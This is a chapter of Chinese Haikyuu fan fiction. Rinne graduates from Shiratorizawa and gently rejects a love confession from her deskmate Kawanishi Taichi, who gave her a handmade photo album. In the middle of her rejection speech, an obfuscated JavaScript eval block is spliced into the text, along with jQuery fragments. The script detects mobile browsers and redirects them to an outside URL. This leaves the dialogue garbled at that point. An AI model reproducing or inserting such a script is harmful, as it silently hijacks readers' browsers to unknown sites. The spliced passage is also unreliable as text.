到了十一月份，AO的结果陆陆续续下来了，班里的氛围都焦虑起来了。


    凛音成功被早稻田商学部录取，后续缴费报名的任务妈妈已经帮她接手了，不需要她来操心了。


    而川西太一也成功被明治大学录取了，班里其他同学有被成功录取的，也有遗憾落选的，悲喜交加。


    AO渠道没考上也没关系，本来竞争就非常激烈，他们不会把希望全放在这上面的，在准备AO材料的同时，也在备考。


    女排部那边，黑川凪也去了早稻田，小林莉亚去了庆应义塾，鸟海玲奈去了青山学院，而岩下雅美未来不准备打排球，退部备考了，她说要考一桥，那很厉害了。


    录取结果下来后，高三的大家又开始全力练球了，马上还有春高，她们要努力维系白鸟泽王朝。


    凛音照常在男排被鹫匠教练训，这两年鹫匠教练的性格温和了一点，当然是指在训练场之外，而且看起来看开了什么事情，虽然还是到处搜罗身体天赋好的强攻型人才，但也愿意给矮个子一个机会。


    不过凛音现在的技术已经很不错了，鹫匠教练都不怎么说她了，他现在最宠爱的当然还是五色了，原本山行他们会安慰五色的，但他们都毕业了，白布和川西才不会在言语上安慰他呢，也只有凛音会去了。


    “阿工不要难过了，教练是在欣赏你的潜力嘛，你看，你现在就比我弱一点啦。”


    五色：……


    其实五色并没有太沮丧，他比高一时候坚强太多了，都很少哭鼻子了，他一直很敬畏教练，也知道教练是为了他好，自然不会有什么想法的。


    不过前辈们还是担心五色，白布和川西当然也在担心，但他们不会像凛音那样直白地表示出来。


    看到五色没什么事的样子，大家也就放心了，收拾收拾去吃晚饭了。


    说起来，凛音本来有些担心白布的，他是打算报考东北大学的医学部，如今正是备考阶段，但他不肯放弃春高预选赛，坚持训练，还为此和家里吵了一架，不过白布就是白布，还是协调好了排球和学业，目前看来成绩保持的很好。


    凛音现在在男排练球的频率很高，每周只在女排待两天，但她们这么多年老队友了，还不至于出现配合上的问题。


    十二月份，宫城县预选赛开始了，凛音依旧没上场过，这一届的一年级真的不需要操心，再也不会出现去年那样，决赛被拖进第五局了，全是干脆利落的打败对手，拿到了宫城县冠军。由于凛音没上场，所以一个奖没有，她也不在乎，全给学妹们就挺好的。


    男排这一次打进了决赛，又输给了乌野，遗憾拿到了亚军，失去了进全国的机会。


    五色果然坚强了许多，就在输掉比赛的时候哭了一下下。


    男排那边的心情普遍不好，对于三年级来说，这也是最后一场比赛了，尤其是白布，他不会再把任何精力放在部活上了。


    今年男排的告别小仪式是趁着凛音不在的时候开的，大家不想在她面前哭得那么狼狈，但凛音在食堂见到他们时，还是注意到了他们有点红的眼睛。


    发生了什么一目了然，凛音只是对他们笑了一下，善解人意地没有去问。


    寒假里，女排部前往东京参加了春高全国大赛，没有辜负所有人的期待，拿到了冠军。


    至此，白鸟泽春高三连冠。


    春高结束，寒假也很快结束了，凛音的高中生涯也快要结束了。


    最后一学期，高三的学生不是已经被录取就是在疲惫地备考，也有少部分不打算上大学。


    凛音在偌大的校园里漫无目的地走着，看着充满活力的高一高二的后辈们，有些舍不得。


    脑子里突然响起了白鸟泽的校歌：


    林中的宫殿


    常立于其脚下


    抬头仰望雄伟的仙台城


    我们的学府


    啊 光荣的白鸟泽学园


    ……


    白鸟泽就是这样一个令人有归属感，有历史厚重感的一个学校。


    凛音回到班级，坐在了自己的座位上，露出了伤感的表情。


    我的乐园，也要和你告别了吗？


    班上很多同学已经离开学校了，有的是已经被大学录取，不来上学了，有的是要备考大学，去补习了，留在班上的人已经没几个了。


    川西太一倒是还留在学校，看着她伤感的表情，川西已经习以为常了，和她做同桌后就会发现这人还是个艺术少女。


    川西摸了摸包里的东西，在纠结要不要送给她，又看了她一眼，还是那副忧郁伤感的样子，一时间情绪控制大脑，脱口而出：“送你个东西。”


    说完川西就有些后悔了，一旦给了出去，以这个人的敏锐肯定什么都明白了。


    凛音回过神来，诧异地看了他一眼，今天是什么特殊的日子吗？


    川西别扭的递给了她一本相册，眼神躲闪地说：“送你的毕业礼物。”


    凛音翻开来看了看，里面的很多照片都没有什么人，比如白鸟泽初中部的排球场地，高中部的排球场地，国中时候她参加比赛的场地，春高的场地，IH的场地，冲绳的一些照片，她曾经去过的奈良的照片，这几年文化祭她所在班级的照片……她去过的很多地方都被川西拍了下来，里面还有一些川西所拍到的她的照片，全部按照时间顺序摆好了。


    这本相册明晃晃地告诉凛音：你被我看见，你被我关注，你被我珍藏……


    联想起往日的种种，凛音的心一颤，她明白了太一含蓄又真挚的心意，可是，可是她……


    凛音脑子有点空白了，她僵硬地看了川西一眼，他的脸已经红透了，眼睛看着地面，安静地等待着她的回应。


    凛音深吸了几口气，她必须要好好处理这个事情，她不想影响川西和她的关系。


    凛音迅速冷静下来之后，开始觉得她此刻并不是真正的冷静，不适合给川西一个答复，这件事她需要回去好好想一想。


    “谢谢你的礼物，很用心哦，我很喜欢。”凛音肯定了川西的礼物，她真的很喜欢，不管怎么说，这将成为她的一份珍贵的藏品，“不过我需要再想想，今天晚上八点操场见。”


    川西猛然抬起头，盯着凛音看，他好像明白了……


    川西只是酸涩地点了点头，什么也没说，目送凛音离开了教室。


    凛音和老师说了一声，就回了宿舍，用冷水洗了洗脸，感觉自己恢复了几分神智。


    她把这本相册放进了抽屉，开始思考起来。


    这件事她是绝对不能逃避的，不然以后她和川西的关系将很难回到朋友了。


    她喜欢川西吗？不喜欢，至少现在不是那种喜欢。


    虽然川西送的礼物很令她感动，但她不会因为感动就同意他的告白。


    她必须要好好想想拒绝的艺术。


    凛音白天一天都在宿舍里走来走去，愁眉苦脸，中午的饭还是黑川凪从食堂给她带的。


    黑川凪回到宿舍后，看到凛音的样子很是奇怪，但她明显不想说，黑川也就没有问。


    凛音不打算把这件事告诉任何人，包括黑川凪，也包括牛岛他们，这是她和川西太一两个人的秘密。


    晚上，凛音找了个理由离开了宿舍，跑到操场，川西已经手撑着下巴坐在长椅上等她了。


    凛音有些尴尬地坐到了他的旁边。


    两个人一句话没有说，川西清楚，她是来拒绝自己的，心里疼得有些木木的。


    凛音顶着尴尬的寂静，酝酿了一会话术。


    “太一，关于那本相册，我今天反复想了很多。我必须要再告诉你一次，我真的很感动。不仅仅是因为礼物本身，更是因为我能看到背后的那份用心。你留意到的那些细节，连我自己都快忘记了……这真的是一份我会永远珍藏的礼物。


    也正因为这份礼物如此厚重，承载了这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925381|190768||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深的心意，我觉得我必须对你完全坦诚。


    你在我生命里，一直是一个非常重要的存在。我很珍惜我们在一起的时光，珍惜和你作为朋友的一切。但是，我对你的感情，是那种很深很深的友情……它并没有朝着恋人的方向发展。我知道这也许不是你希望听到的，但我不能对你说谎，也不能因为感动而给你虚假的希望。


    我说这些，其实心里非常非常舍不得。我好害怕会伤害到你，或者让我们之间变得尴尬。我真心实意地希望，我们能够继续是好朋友。你对我来说，是不可替代的。”


    凛音松了一口气，终于是说完了，她有些紧张地看着川西。


    他就坐在椅子上，安静地听完了凛音的拒绝，他只觉得，凛音的话平时总能让他觉得开心，为什么今天却像刀子一样，扎得他那么疼。


    “凛音，我好痛……”川西有些茫然地摸了摸心口。


    “对不起……”


    凛音也不好受，她不希望她的朋友会遭受到失恋的痛苦，偏偏让朋友痛苦的人是她自己，但是她没有办法，如果不喜欢川西还答应他，这对凛音来说是无法忍受的。


    “不是你的错，只是你恰好不喜欢我而已。”川西努力扯出了一个苦涩的微笑，“一开始每天能看到你就很开心，渐渐地想离你更近一点，想和你说更多的话，想和你待在一起的时间越来越长，和你同桌的这一年半是我最幸福的时候，离你那么近，我以为……”


    我以为我可以让你喜欢我，可是我没有做到，或许我已经感觉到了你对我的无情，才拼命地隐藏心意吧，最后自己欺骗了自己……


    凛音也红了眼眶，她没有经历过这种痛苦，但她强大的共情能力可以让她感受到，她为了朋友的痛苦而难过。


    “幸好，你还愿意和我做朋友，那就这样吧，我们还是朋友。”川西现在只想离开这里。


    “好，你永远会是我的朋友。”


    川西低下头，留下了最后一句话：“希望你永远不会经历我现在的这种心情。”


    这种爱而不得的痛苦。


    凛音目送川西离开了。


    凛音一个人独自坐在操场的长椅上，她好难过。


    如果是个喜欢她的陌生人送给她这样的礼物，她一定不会接受的，还会觉得害怕。可这是太一送的，凛音只会想他一定花了很多心思，太一肯定很期待看到她拿到礼物的欢欣，可结果却是这样的……


    凛音觉得很无力，她的朋友在经历痛苦，可是她没有任何办法，因为她就是痛苦的源头……


    一切还能回到从前吗？她是不是已经失去了一个重要的朋友？


    凛音回想了他们相处的一切回忆，开始反思自己是不是释放了什么错误的信号。她想起了在冲绳的那一次，他蔫蔫地却又黏在她身边的时候，原来那个时候就开始了吗？偏偏那是她最迟钝的时候……


    我做错了吗？我太冷酷了吗？


    不，我不觉得我做错了，不管怎么样，我都一定会拒绝太一的，不会让他留下一丝期待，不喜欢就是不喜欢。


    凛音独自哭了一会，整理好了自己的思绪，坚定了自己的想法，去水池洗了洗脸，等眼睛恢复常态后，才回宿舍。


    另一边的川西也回到了自己的宿舍，他很庆幸室友已经被大学录取，没有留在学校，宿舍只有他一个人。


    他蜷缩在房间的角落里，感受着心里翻涌的各种情愫，对她的喜欢，酸涩，痛苦，全部都交织在一起，让他的心都变得麻木了。


    他恨凛音的无情，恨她这么果断地拒绝，可又会无可救药地想，我喜欢的人多么优秀多么理智啊，没有丝毫含糊，不给人留下一点不存在的希望……


    心里翻涌的情绪渐渐平复了下来，只剩下一种——痛。


    心好疼，好疼，好疼，疼到一向善于忍耐的猫猫都落下了眼泪。


    川西就这么坐在角落里，无声地，任由眼泪流淌……